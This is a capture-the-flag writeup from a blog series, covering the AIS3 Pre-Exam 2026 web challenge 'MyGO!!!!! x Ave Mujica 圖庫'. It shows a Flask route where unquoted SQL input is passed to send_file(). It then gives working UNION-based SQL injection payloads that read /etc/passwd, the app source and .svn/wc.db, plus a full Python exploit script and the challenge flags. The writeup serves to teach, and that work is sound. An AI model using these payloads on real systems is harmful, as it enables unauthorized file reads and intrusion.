Skip to content
Suzu

【Web】AIS3 Pre-Exam 2026 Writeup: MyGO!!!!! x Ave Mujica 圖庫

A web writeup for MyGO!!!!! x Ave Mujica 圖庫, chaining SQL injection and file read.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Web - MyGO!!!!!X-Ave-Mujica圖庫

The useful source was app.py. I got it through the bug later, but reading it first makes the route clear.

db = sqlite3.connect(":memory:", check_same_thread=False)
db.execute("CREATE TABLE images (id INTEGER PRIMARY KEY, path TEXT);")
db.executemany("INSERT INTO images (path) VALUES (?);",
            [
                ("images/haruhikage.jpg",),
                ("images/yes_but_no.jpg",),
                ("images/good.jpg",),
                ("images/useless.jpg",)
            ])
db.commit()

The /image route is the important part.

@app.get("/image")
def image():
    image_id = request.args.get("id")
    cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
    return send_file(cur[0])

image_id goes straight into the SQL string. The result also goes straight into send_file(). So the same bug can become both SQL injection and file read.

The upload route looked interesting at first.

ALLOWED_EXTENSIONS = {'png', 'jpg', 'gif', "webp"}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

filename = secure_filename(file.filename)
path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(path)

Path traversal by filename did not look good. secure_filename() removes the useful ../ parts. Upload also only writes into images. No trigger to execute anything. I left this path.

There is no native binary here, so no checksec, no gdb, and no glibc printf path. The protection that mattered was at the web route level: .svn was hinted, but not directly web-served.

robots.txt gave the first real hint.

curl -i http://chals1.ais3.org:48763/robots.txt

It returned:

.svn

Direct access failed.

curl -i http://chals1.ais3.org:48763/.svn/wc.db

The server returned 404. So .svn was probably on disk, but not exposed as a static directory. I needed a local file read.

The image route was the next target.

curl -i 'http://chals1.ais3.org:48763/image?id=1'

That returned haruhikage.jpg.

Some numeric SQLi probes still returned the first image.

curl -i 'http://chals1.ais3.org:48763/image?id=1--'
curl -i 'http://chals1.ais3.org:48763/image?id=1/**/'
curl -i 'http://chals1.ais3.org:48763/image?id=1%20OR%201=1--'

At this point I was not sure if it was just loose integer parsing or real SQLi. UNION made it clear.

curl -i "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'robots.txt'--"

The response body was again:

.svn

So the selected string became a file path for send_file().

Reading /etc/passwd confirmed it was not limited to app files.

curl -i "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'/etc/passwd'--"

That returned normal passwd content. This was enough to use the .svn hint properly.

The source file was readable too.

curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'app.py'--"

That is where the SELECT path FROM images WHERE id = {image_id} line came from. The route had no quoting around id, so numeric injection was enough. No need to break out of a string.

Common flag paths did not work for me:

curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'/flag'--"
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'flag.txt'--"

Those only caused server errors. No file at those paths, or not readable from the current working directory.

Went back to .svn.

curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'.svn/wc.db'--" -o wc.db

file showed it was a SQLite database.

file wc.db

The interesting tables were visible:

sqlite3 wc.db '.tables'

NODES was enough for file names.

sqlite3 -header -column wc.db \
  "select local_relpath, kind, checksum from NODES order by local_relpath;"

One row stood out:

super_secret_starburst_flag114514.txt  file  $sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424

That file was still in the working tree, so it could be read directly through the same primitive.

curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'super_secret_starburst_flag114514.txt'--"

Flag:

AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}

There was one small trap. SVN also stores pristine copies.

The checksum gives this path:

.svn/pristine/38/38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base

Reading it worked:

curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'.svn/pristine/38/38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base'--"

But that returned the Taipei version:

AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket}

I first thought it could be the flag, but the live file had Taiwan. The working copy file is the one to submit.

Full exploit script:

#!/usr/bin/env python3
import sqlite3
import tempfile
from pathlib import Path
from urllib.parse import quote
from urllib.request import urlopen


BASE = "http://chals1.ais3.org:48763"


def read_file(path: str) -> bytes:
    payload = f"999 UNION SELECT '{path}'--"
    url = f"{BASE}/image?id={quote(payload, safe='')}"
    with urlopen(url, timeout=10) as r:
        return r.read()


def main():
    app_py = read_file("app.py").decode(errors="replace")
    print("[+] app.py contains vulnerable route:", "SELECT path FROM images WHERE id =" in app_py)

    wcdb = read_file(".svn/wc.db")
    with tempfile.NamedTemporaryFile(delete=False) as f:
        f.write(wcdb)
        wcdb_path = Path(f.name)

    con = sqlite3.connect(wcdb_path)
    rows = con.execute(
        "select local_relpath, checksum from NODES where kind='file' order by local_relpath"
    ).fetchall()

    print("[+] files from SVN metadata:")
    for name, checksum in rows:
        print(f"    {name} {checksum or ''}")

    flag_name, checksum = next(
        (name, checksum) for name, checksum in rows
        if "flag" in name.lower() or "secret" in name.lower()
    )

    flag = read_file(flag_name).decode(errors="replace").strip()
    print("[+] live flag:", flag)

    if checksum and checksum.startswith("$sha1$"):
        sha1 = checksum.split("$sha1$", 1)[1]
        pristine_path = f".svn/pristine/{sha1[:2]}/{sha1}.svn-base"
        pristine = read_file(pristine_path).decode(errors="replace").strip()
        print("[+] pristine copy:", pristine)

    wcdb_path.unlink(missing_ok=True)


if __name__ == "__main__":
    main()

Running it:

python3 solve_mygo.py

Expected important output:

[+] live flag: AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}
[+] pristine copy: AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket}

Share this page